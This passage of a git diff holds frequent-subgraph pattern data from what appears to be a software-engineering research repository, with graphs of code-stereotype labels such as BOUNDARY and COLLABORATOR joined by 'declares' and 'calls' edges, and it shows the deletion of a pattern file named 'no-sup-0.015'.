COMMAND-COLLABORATOR -v 1 COLLABORATOR -e 0 1 calls -# -t # 100 -v 0 COLLABORATOR -v 1 COLLABORATOR -e 0 1 calls -# -t # 101 -v 0 COLLABORATOR -v 1 COLLABORATOR -v 2 COLLABORATOR -e 0 1 calls -e 0 2 calls -# -t # 102 -v 0 COLLABORATOR -v 1 COLLABORATOR -v 2 COLLABORATOR -e 0 1 calls -e 1 2 calls -# -t # 103 -v 0 OTHER -v 1 GET -e 0 1 declares -# -t # 104 -v 0 OTHER -v 1 GET -v 2 SET -e 0 1 declares -e 0 2 declares -# -t # 105 -v 0 BOUNDARY -v 1 FIELD -e 0 1 declares -# -t # 106 -v 0 BOUNDARY -v 1 FIELD -v 2 FIELD -e 0 1 declares -e 0 2 declares -# -t # 107 -v 0 BOUNDARY -v 1 FIELD -v 2 FIELD -v 3 FIELD -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 108 -v 0 BOUNDARY -v 1 FIELD -v 2 SET -e 0 1 declares -e 0 2 declares -# -t # 109 -v 0 BOUNDARY -v 1 FIELD -v 2 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 110 -v 0 BOUNDARY -v 1 COLLABORATOR -e 0 1 declares -# -t # 111 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 FIELD -e 0 1 declares -e 0 2 declares -# -t # 112 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 FIELD -v 3 FIELD -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 113 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 INCIDENTAL -e 0 1 declares -e 0 2 declares -# -t # 114 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 115 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 COLLABORATOR -v 3 FIELD -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 116 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 COLLABORATOR -v 3 FACTORY-COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 117 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 COLLABORATOR -v 3 COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 118 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 COLLABORATOR -v 3 COLLABORATOR -v 4 FACTORY-COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -e 0 4 declares -# -t # 119 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 COLLABORATOR -v 3 COLLABORATOR -v 4 COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -e 0 4 declares -# -t # 120 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 COLLABORATOR -v 3 COLLABORATOR -v 4 COLLABORATOR -v 5 COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -e 0 4 declares -e 0 5 declares -# -t # 121 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 FACTORY-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 122 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 FACTORY-COLLABORATOR -v 3 COLLABORATOR -e 0 1 declares -e 0 2 declares -e 2 3 calls -# -t # 123 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 FACTORY-COLLABORATOR -v 3 FIELD -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 124 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 FACTORY-COLLABORATOR -e 0 1 declares -e 1 2 calls -# -t # 125 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 FACTORY-COLLABORATOR -v 3 COLLABORATOR -e 0 1 declares -e 0 3 declares -e 1 2 calls -# -t # 126 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 COLLABORATOR -e 0 1 declares -e 1 2 calls -# -t # 127 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 COLLABORATOR -v 3 COLLABORATOR -e 0 1 declares -e 0 3 declares -e 1 2 calls -# -t # 128 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 COLLABORATOR -v 3 COLLABORATOR -v 4 COLLABORATOR -e 0 1 declares -e 0 3 declares -e 0 4 declares -e 1 2 calls -# -t # 129 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 COLLABORATOR -v 3 FACTORY-COLLABORATOR -e 0 1 declares -e 0 3 declares -e 1 2 calls -# -t # 130 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 GET -e 0 1 declares -e 0 2 declares -# -t # 131 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 CONSTRUCTOR -e 0 1 declares -e 0 2 declares -# -t # 132 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 COMMAND-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 133 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 SET -e 0 1 declares -e 0 2 declares -# -t # 134 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 135 -v 0 BOUNDARY -v 1 INCIDENTAL -e 0 1 declares -# -t # 136 -v 0 BOUNDARY -v 1 FACTORY-COLLABORATOR -e 0 1 declares -# -t # 137 -v 0 BOUNDARY -v 1 FACTORY-COLLABORATOR -v 2 COLLABORATOR -e 0 1 declares -e 1 2 calls -# -t # 138 -v 0 BOUNDARY -v 1 FACTORY-COLLABORATOR -v 2 FIELD -e 0 1 declares -e 0 2 declares -# -t # 139 -v 0 BOUNDARY -v 1 FACTORY-COLLABORATOR -v 2 FACTORY-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 140 -v 0 SET-COLLABORATOR -v 1 COLLABORATOR -e 0 1 calls -# -t # 141 -v 0 OTHER -v 1 SET-COLLABORATOR -e 0 1 declares -# -t # 142 -v 0 FACTORY-COLLABORATOR -v 1 COLLABORATOR -e 0 1 calls -# -t # 143 -v 0 COLLABORATOR -v 1 FACTORY-COLLABORATOR -e 0 1 calls -# -t # 144 -v 0 SET-COLLABORATOR -v 1 SET-COLLABORATOR -e 0 1 calls -# -t # 145 -v 0 OTHER -v 1 FACTORY -e 0 1 declares -# -t # 146 -v 0 BOUNDARY -v 1 LOCAL_CONTROLLER -e 0 1 declares -# -t # 147 -v 0 INTERFACE -v 1 FIELD -e 0 1 declares -# -t # 148 -v 0 DEGENERATE -v 1 CONSTRUCTOR -e 0 1 declares -# -t # 149 -v 0 NON_VOID_COMMAND-COLLABORATOR -v 1 COLLABORATOR -e 0 1 calls -# -t # 150 -v 0 MINIMAL_ENTITY -v 1 FIELD -e 0 1 declares -# -t # 151 -v 0 MINIMAL_ENTITY -v 1 GET -e 0 1 declares -# -t # 152 -v 0 OTHER -v 1 LOCAL_CONTROLLER -e 0 1 declares -# -t # 153 -v 0 COMMANDER -v 1 COLLABORATOR -e 0 1 declares -# -t # 154 -v 0 COMMANDER -v 1 LOCAL_CONTROLLER -e 0 1 declares -# -t # 155 -v 0 BOUNDARY -v 1 GET -e 0 1 declares -# -t # 156 -v 0 BOUNDARY-COMMANDER -v 1 SET-COLLABORATOR -e 0 1 declares -# -t # 157 -v 0 BOUNDARY-COMMANDER -v 1 SET-COLLABORATOR -v 2 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 158 -v 0 BOUNDARY-COMMANDER -v 1 SET-COLLABORATOR -v 2 SET-COLLABORATOR -v 3 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 159 -v 0 BOUNDARY-COMMANDER -v 1 SET-COLLABORATOR -v 2 COLLABORATOR -e 0 1 declares -e 1 2 calls -# -t # 160 -v 0 BOUNDARY-COMMANDER -v 1 SET -e 0 1 declares -# -t # 161 -v 0 BOUNDARY-COMMANDER -v 1 SET -v 2 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 162 -v 0 FACTORY-COLLABORATOR -v 1 COMMAND-COLLABORATOR -e 0 1 calls -# -t # 163 -v 0 BOUNDARY-COMMANDER -v 1 FACTORY-COLLABORATOR -e 0 1 declares -# -t # 164 -v 0 BOUNDARY-COMMANDER -v 1 FACTORY-COLLABORATOR -v 2 FIELD -e 0 1 declares -e 0 2 declares -# -t # 165 -v 0 BOUNDARY-COMMANDER -v 1 FACTORY-COLLABORATOR -v 2 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 166 -v 0 BOUNDARY-COMMANDER -v 1 CONSTRUCTOR -e 0 1 declares -# -t # 167 -v 0 BOUNDARY-COMMANDER -v 1 CONSTRUCTOR -v 2 FIELD -e 0 1 declares -e 0 2 declares -# -t # 168 -v 0 BOUNDARY-COMMANDER -v 1 CONSTRUCTOR -v 2 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 169 -v 0 COMMAND-COLLABORATOR -v 1 COMMAND-COLLABORATOR -e 0 1 calls -# -t # 170 -v 0 BOUNDARY -v 1 CONSTRUCTOR -e 0 1 declares -# -t # 171 -v 0 BOUNDARY -v 1 CONSTRUCTOR -v 2 FIELD -e 0 1 declares -e 0 2 declares -# -t # 172 -v 0 COMMANDER -v 1 SET -e 0 1 declares -# -t # 173 -v 0 ENTITY -v 1 COMMAND -e 0 1 declares -# -t # 174 -v 0 ENTITY -v 1 COMMAND -v 2 FIELD -e 0 1 declares -e 0 2 declares -# -t # 175 -v 0 ENTITY -v 1 INCIDENTAL -e 0 1 declares -# -t # 176 -v 0 OTHER -v 1 FIELD -e 0 1 declares -# -t # 177 -v 0 OTHER -v 1 FIELD -v 2 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 178 -v 0 OTHER -v 1 FIELD -v 2 SET -e 0 1 declares -e 0 2 declares -# -t # 179 -v 0 ENTITY -v 1 SET -e 0 1 declares -# -t # 180 -v 0 OTHER -v 1 CONSTRUCTOR-COLLABORATOR -e 0 1 declares -# -t # 181 -v 0 COLLABORATOR -v 1 COMMAND-COLLABORATOR -e 0 1 calls -# -t # 182 -v 0 ENTITY -v 1 NON_VOID_COMMAND-COLLABORATOR -e 0 1 declares -# -t # 183 -v 0 ENTITY -v 1 FACTORY-COLLABORATOR -e 0 1 declares -# -t # 184 -v 0 OTHER -v 1 CONSTRUCTOR -e 0 1 declares -# -t # 185 -v 0 COMMAND-COLLABORATOR -v 1 SET-COLLABORATOR -e 0 1 calls -# -t # 186 -v 0 COMMAND-COLLABORATOR -v 1 SET -e 0 1 calls -# -t # 187 -v 0 MINIMAL_ENTITY -v 1 CONSTRUCTOR -e 0 1 declares -# -t # 188 -v 0 ENTITY -v 1 GET -e 0 1 declares -# -t # 189 -v 0 COMMANDER -v 1 COMMAND-COLLABORATOR -e 0 1 declares -# -t # 190 -v 0 BOUNDARY -v 1 SET -e 0 1 declares -# -t # 191 -v 0 OTHER -v 1 COMMAND-COLLABORATOR -e 0 1 declares -# -t # 192 -v 0 OTHER -v 1 COMMAND-COLLABORATOR -v 2 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 193 -v 0 BOUNDARY-COMMANDER -v 1 INCIDENTAL -e 0 1 declares -# -t # 194 -v 0 COMMANDER -v 1 NON_VOID_COMMAND-COLLABORATOR -e 0 1 declares -# -t # 195 -v 0 COMMAND-COLLABORATOR -v 1 FACTORY-COLLABORATOR -e 0 1 calls -# -t # 196 -v 0 COMMAND-COLLABORATOR -v 1 GET -e 0 1 calls -# -t # 197 -v 0 BOUNDARY-DATA_PROVIDER -v 1 COLLABORATOR -e 0 1 declares -# -t # 198 -v 0 ENTITY -v 1 CONSTRUCTOR -e 0 1 declares -# -t # 199 -v 0 ENTITY -v 1 CONSTRUCTOR -v 2 FIELD -e 0 1 declares -e 0 2 declares -# -t # 200 -v 0 LAZY_CLASS -v 1 INCIDENTAL -e 0 1 declares -# -t # 201 -v 0 OTHER -v 1 PROPERTY -e 0 1 declares -# -t # 202 -v 0 OTHER -v 1 SET -e 0 1 declares -# -t # 203 -v 0 OTHER -v 1 SET -v 2 SET -e 0 1 declares -e 0 2 declares -# -t # 204 -v 0 COLLABORATOR -v 1 SET -e 0 1 calls -# -t # 205 -v 0 OTHER -v 1 COMMAND -e 0 1 declares -# -t # 206 -v 0 COMMAND-COLLABORATOR -v 1 COMMAND -e 0 1 calls -# -t # 207 -v 0 COLLABORATOR -v 1 SET-COLLABORATOR -e 0 1 calls -# -t # 208 -v 0 COLLABORATOR -v 1 PROPERTY -e 0 1 calls -# -t # 209 -v 0 MINIMAL_ENTITY -v 1 SET -e 0 1 declares -# -t # 210 -v 0 BOUNDARY -v 1 SET-COLLABORATOR -e 0 1 declares -# -t # 211 -v 0 FACTORY -v 1 FACTORY-COLLABORATOR -e 0 1 declares -# -t # 212 -v 0 SET-COLLABORATOR -v 1 SET -e 0 1 calls -# -t # 213 -v 0 OTHER -v 1 OTHER -e 0 1 inherits -# -t # 214 -v 0 BOUNDARY -v 1 PROPERTY-COLLABORATOR -e 0 1 declares -# -t # 215 -v 0 OTHER -v 1 INCIDENTAL -e 0 1 declares -# -t # 216 -v 0 BOUNDARY -v 1 FACTORY -e 0 1 declares -# -t # 217 -v 0 DATA_PROVIDER -v 1 CONSTRUCTOR -e 0 1 declares -# -t # 218 -v 0 DATA_PROVIDER -v 1 COLLABORATOR -e 0 1 declares -# -t # 219 -v 0 BOUNDARY -v 1 PROPERTY -e 0 1 declares -# -t # 220 -v 0 LOCAL_CONTROLLER -v 1 COLLABORATOR -e 0 1 calls -# -t # 221 -v 0 BOUNDARY -v 1 NON_VOID_COMMAND-COLLABORATOR -e 0 1 declares -# -t # 222 -v 0 NON_VOID_COMMAND-COLLABORATOR -v 1 COMMAND-COLLABORATOR -e 0 1 calls -# -t # 223 -v 0 LAZY_CLASS -v 1 FIELD -e 0 1 declares -# -t # 224 -v 0 COLLABORATOR -v 1 NON_VOID_COMMAND-COLLABORATOR -e 0 1 calls -# -t # 225 -v 0 FACTORY-COLLABORATOR -v 1 FACTORY-COLLABORATOR -e 0 1 calls -# -t # 226 -v 0 COMMANDER -v 1 FIELD -e 0 1 declares -# -t # 227 -v 0 COMMANDER -v 1 FIELD -v 2 FIELD -e 0 1 declares -e 0 2 declares -# -t # 228 -v 0 COMMANDER -v 1 FIELD -v 2 SET -e 0 1 declares -e 0 2 declares -# -t # 229 -v 0 BOUNDARY-COMMANDER -v 1 COMMAND -e 0 1 declares -# -t # 230 -v 0 BOUNDARY-COMMANDER -v 1 COMMAND -v 2 FIELD -e 0 1 declares -e 0 2 declares -# -t # 231 -v 0 BOUNDARY-COMMANDER -v 1 COMMAND -v 2 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 232 -v 0 COMMANDER -v 1 CONSTRUCTOR -e 0 1 declares -# -t # 233 -v 0 COMMANDER -v 1 COMMAND -e 0 1 declares -# -t # 234 -v 0 COMMANDER -v 1 SET-COLLABORATOR -e 0 1 declares -# -t # 235 -v 0 ENTITY -v 1 PROPERTY -e 0 1 declares -# -t # 236 -v 0 COLLABORATOR -v 1 GET -e 0 1 calls -# -t # 237 -v 0 BOUNDARY-COMMANDER -v 1 LOCAL_CONTROLLER -e 0 1 declares -# -t # 238 -v 0 ENTITY -v 1 COMMAND-LOCAL_CONTROLLER -e 0 1 declares -# -t # 239 -v 0 BOUNDARY-COMMANDER -v 1 COMMAND-LOCAL_CONTROLLER -e 0 1 declares -# -t # 240 -v 0 DATA_CLASS -v 1 SET -e 0 1 declares -# -t # 241 -v 0 BOUNDARY -v 1 OTHER -e 0 1 inherits -# -t # 242 -v 0 ENTITY -v 1 LOCAL_CONTROLLER -e 0 1 declares -# -t # 243 -v 0 FACTORY -v 1 COLLABORATOR -e 0 1 declares -# \ No newline at end of file diff --git a/rq1/baseline/origin_patterns/no-sup-0.015 b/rq1/baseline/origin_patterns/no-sup-0.015 deleted file mode 100644 index 901ee51..0000000 --- a/rq1/baseline/origin_patterns/no-sup-0.015 +++ /dev/null @@ -1,910 +0,0 @@ -t # 0 -v 0 ENTITY -v 1 FIELD -e 0 1 declares -# -t # 1 -v 0 ENTITY -v 1 FIELD -v 2 FIELD -e 0 1 declares -e 0 2 declares -# -t # 2 -v 0 ENTITY -v 1 FIELD -v 2 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 3 -v 0 ENTITY -v 1 COMMAND-COLLABORATOR -e 0 1 declares -# -t # 4 -v 0 ENTITY -v 1 COMMAND-COLLABORATOR -v 2 FIELD -e 0 1 declares -e 0 2 declares -# -t # 5 -v 0 ENTITY -v 1 COMMAND-COLLABORATOR -v 2 FIELD -v 3 FIELD -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 6 -v 0 ENTITY -v 1 COMMAND-COLLABORATOR -v 2 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 7 -v 0 OTHER -v 1 COLLABORATOR -e 0 1 declares -# -t # 8 -v 0 OTHER -v 1 COLLABORATOR -v 2 SET -e 0 1 declares -e 0 2 declares -# -t # 9 -v 0 OTHER -v 1 NON_VOID_COMMAND-COLLABORATOR -e 0 1 declares -# -t # 10 -v 0 OTHER -v 1 ABSTRACT -e 0 1 declares -# -t # 11 -v 0 MINIMAL_ENTITY -v 1 COMMAND-COLLABORATOR -e 0 1 declares -# -t # 12 -v 0 INTERFACE -v 1 ABSTRACT -e 0 1 declares -# -t # 13 -v 0 BOUNDARY -v 1 COMMAND-COLLABORATOR -e 0 1 declares -# -t # 14 -v 0 BOUNDARY-COMMANDER -v 1 NON_VOID_COMMAND-COLLABORATOR -e 0 1 declares -# -t # 15 -v 0 OTHER -v 1 FACTORY-COLLABORATOR -e 0 1 declares -# -t # 16 -v 0 ENTITY -v 1 COLLABORATOR -e 0 1 declares -# -t # 17 -v 0 ENTITY -v 1 COLLABORATOR -v 2 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 18 -v 0 ENTITY -v 1 COLLABORATOR -v 2 FIELD -e 0 1 declares -e 0 2 declares -# -t # 19 -v 0 ENTITY -v 1 COLLABORATOR -v 2 FIELD -v 3 FIELD -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 20 -v 0 ENTITY -v 1 SET-COLLABORATOR -e 0 1 declares -# -t # 21 -v 0 SET-COLLABORATOR -v 1 COMMAND-COLLABORATOR -e 0 1 calls -# -t # 22 -v 0 BOUNDARY-COMMANDER -v 1 FIELD -e 0 1 declares -# -t # 23 -v 0 BOUNDARY-COMMANDER -v 1 FIELD -v 2 FIELD -e 0 1 declares -e 0 2 declares -# -t # 24 -v 0 BOUNDARY-COMMANDER -v 1 FIELD -v 2 FIELD -v 3 FIELD -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 25 -v 0 BOUNDARY-COMMANDER -v 1 FIELD -v 2 FIELD -v 3 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 26 -v 0 BOUNDARY-COMMANDER -v 1 FIELD -v 2 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 27 -v 0 BOUNDARY-COMMANDER -v 1 FIELD -v 2 SET -e 0 1 declares -e 0 2 declares -# -t # 28 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -e 0 1 declares -# -t # 29 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 30 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 COLLABORATOR -v 3 COMMAND-COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 31 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 COLLABORATOR -v 3 FIELD -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 32 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 COLLABORATOR -v 3 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 33 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 COLLABORATOR -v 3 COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 34 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 COLLABORATOR -v 3 COLLABORATOR -v 4 COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -e 0 4 declares -# -t # 35 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 COMMAND-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 36 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 COMMAND-COLLABORATOR -v 3 FIELD -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 37 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 COMMAND-COLLABORATOR -v 3 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 38 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 COMMAND-COLLABORATOR -v 3 COMMAND-COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 39 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 FIELD -e 0 1 declares -e 0 2 declares -# -t # 40 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 FIELD -v 3 FIELD -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 41 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 FIELD -v 3 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 42 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 43 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 SET -e 0 1 declares -e 0 2 declares -# -t # 44 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 FACTORY-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 45 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 CONSTRUCTOR -e 0 1 declares -e 0 2 declares -# -t # 46 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 NON_VOID_COMMAND-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 47 -v 0 BOUNDARY-COMMANDER -v 1 COLLABORATOR -v 2 COLLABORATOR -e 0 1 declares -e 1 2 calls -# -t # 48 -v 0 BOUNDARY-COMMANDER -v 1 COMMAND-COLLABORATOR -e 0 1 declares -# -t # 49 -v 0 BOUNDARY-COMMANDER -v 1 COMMAND-COLLABORATOR -v 2 FIELD -e 0 1 declares -e 0 2 declares -# -t # 50 -v 0 BOUNDARY-COMMANDER -v 1 COMMAND-COLLABORATOR -v 2 FIELD -v 3 FIELD -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 51 -v 0 BOUNDARY-COMMANDER -v 1 COMMAND-COLLABORATOR -v 2 FIELD -v 3 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 52 -v 0 BOUNDARY-COMMANDER -v 1 COMMAND-COLLABORATOR -v 2 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 53 -v 0 BOUNDARY-COMMANDER -v 1 COMMAND-COLLABORATOR -v 2 COMMAND-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 54 -v 0 BOUNDARY-COMMANDER -v 1 COMMAND-COLLABORATOR -v 2 COMMAND-COLLABORATOR -v 3 FIELD -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 55 -v 0 BOUNDARY-COMMANDER -v 1 COMMAND-COLLABORATOR -v 2 SET -e 0 1 declares -e 0 2 declares -# -t # 56 -v 0 BOUNDARY-COMMANDER -v 1 COMMAND-COLLABORATOR -v 2 FACTORY-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 57 -v 0 COMMAND-COLLABORATOR -v 1 COLLABORATOR -e 0 1 calls -# -t # 58 -v 0 COLLABORATOR -v 1 COLLABORATOR -e 0 1 calls -# -t # 59 -v 0 COLLABORATOR -v 1 COLLABORATOR -v 2 COLLABORATOR -e 0 1 calls -e 1 2 calls -# -t # 60 -v 0 OTHER -v 1 GET -e 0 1 declares -# -t # 61 -v 0 OTHER -v 1 GET -v 2 SET -e 0 1 declares -e 0 2 declares -# -t # 62 -v 0 BOUNDARY -v 1 FIELD -e 0 1 declares -# -t # 63 -v 0 BOUNDARY -v 1 FIELD -v 2 FIELD -e 0 1 declares -e 0 2 declares -# -t # 64 -v 0 BOUNDARY -v 1 COLLABORATOR -e 0 1 declares -# -t # 65 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 FIELD -e 0 1 declares -e 0 2 declares -# -t # 66 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 FIELD -v 3 FIELD -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 67 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 68 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 COLLABORATOR -v 3 FIELD -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 69 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 COLLABORATOR -v 3 FACTORY-COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 70 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 COLLABORATOR -v 3 COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -# -t # 71 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 COLLABORATOR -v 3 COLLABORATOR -v 4 COLLABORATOR -e 0 1 declares -e 0 2 declares -e 0 3 declares -e 0 4 declares -# -t # 72 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 FACTORY-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 73 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 FACTORY-COLLABORATOR -e 0 1 declares -e 1 2 calls -# -t # 74 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 COLLABORATOR -e 0 1 declares -e 1 2 calls -# -t # 75 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 COLLABORATOR -v 3 COLLABORATOR -e 0 1 declares -e 0 3 declares -e 1 2 calls -# -t # 76 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 COLLABORATOR -v 3 COLLABORATOR -v 4 COLLABORATOR -e 0 1 declares -e 0 3 declares -e 0 4 declares -e 1 2 calls -# -t # 77 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 CONSTRUCTOR -e 0 1 declares -e 0 2 declares -# -t # 78 -v 0 BOUNDARY -v 1 COLLABORATOR -v 2 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 79 -v 0 BOUNDARY -v 1 INCIDENTAL -e 0 1 declares -# -t # 80 -v 0 BOUNDARY -v 1 FACTORY-COLLABORATOR -e 0 1 declares -# -t # 81 -v 0 BOUNDARY -v 1 FACTORY-COLLABORATOR -v 2 COLLABORATOR -e 0 1 declares -e 1 2 calls -# -t # 82 -v 0 BOUNDARY -v 1 FACTORY-COLLABORATOR -v 2 FIELD -e 0 1 declares -e 0 2 declares -# -t # 83 -v 0 BOUNDARY -v 1 FACTORY-COLLABORATOR -v 2 FACTORY-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 84 -v 0 SET-COLLABORATOR -v 1 COLLABORATOR -e 0 1 calls -# -t # 85 -v 0 OTHER -v 1 SET-COLLABORATOR -e 0 1 declares -# -t # 86 -v 0 FACTORY-COLLABORATOR -v 1 COLLABORATOR -e 0 1 calls -# -t # 87 -v 0 COLLABORATOR -v 1 FACTORY-COLLABORATOR -e 0 1 calls -# -t # 88 -v 0 SET-COLLABORATOR -v 1 SET-COLLABORATOR -e 0 1 calls -# -t # 89 -v 0 OTHER -v 1 FACTORY -e 0 1 declares -# -t # 90 -v 0 INTERFACE -v 1 FIELD -e 0 1 declares -# -t # 91 -v 0 NON_VOID_COMMAND-COLLABORATOR -v 1 COLLABORATOR -e 0 1 calls -# -t # 92 -v 0 MINIMAL_ENTITY -v 1 FIELD -e 0 1 declares -# -t # 93 -v 0 OTHER -v 1 LOCAL_CONTROLLER -e 0 1 declares -# -t # 94 -v 0 COMMANDER -v 1 COLLABORATOR -e 0 1 declares -# -t # 95 -v 0 BOUNDARY -v 1 GET -e 0 1 declares -# -t # 96 -v 0 BOUNDARY-COMMANDER -v 1 SET-COLLABORATOR -e 0 1 declares -# -t # 97 -v 0 BOUNDARY-COMMANDER -v 1 SET-COLLABORATOR -v 2 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 98 -v 0 BOUNDARY-COMMANDER -v 1 SET -e 0 1 declares -# -t # 99 -v 0 BOUNDARY-COMMANDER -v 1 SET -v 2 SET-COLLABORATOR -e 0 1 declares -e 0 2 declares -# -t # 100 -v 0 BOUNDARY-COMMANDER -v 1 FACTORY-COLLABORATOR -e 0 1 declares -# -t # 101 -v 0 BOUNDARY-COMMANDER -v 1 FACTORY-COLLABORATOR -v 2 FIELD -e 0 1 declares -e 0 2 declares -# -t # 102 -v 0 BOUNDARY-COMMANDER -v 1 CONSTRUCTOR -e 0 1 declares -# -t # 103 -v 0 COMMAND-COLLABORATOR -v 1 COMMAND-COLLABORATOR -e 0 1 calls -# -t # 104 -v 0 BOUNDARY -v 1 CONSTRUCTOR -e 0 1 declares -# -t # 105 -v 0 BOUNDARY -v 1 CONSTRUCTOR -v 2 FIELD -e 0 1 declares -e 0 2 declares -# -t # 106 -v 0 COMMANDER -v 1 SET -e 0 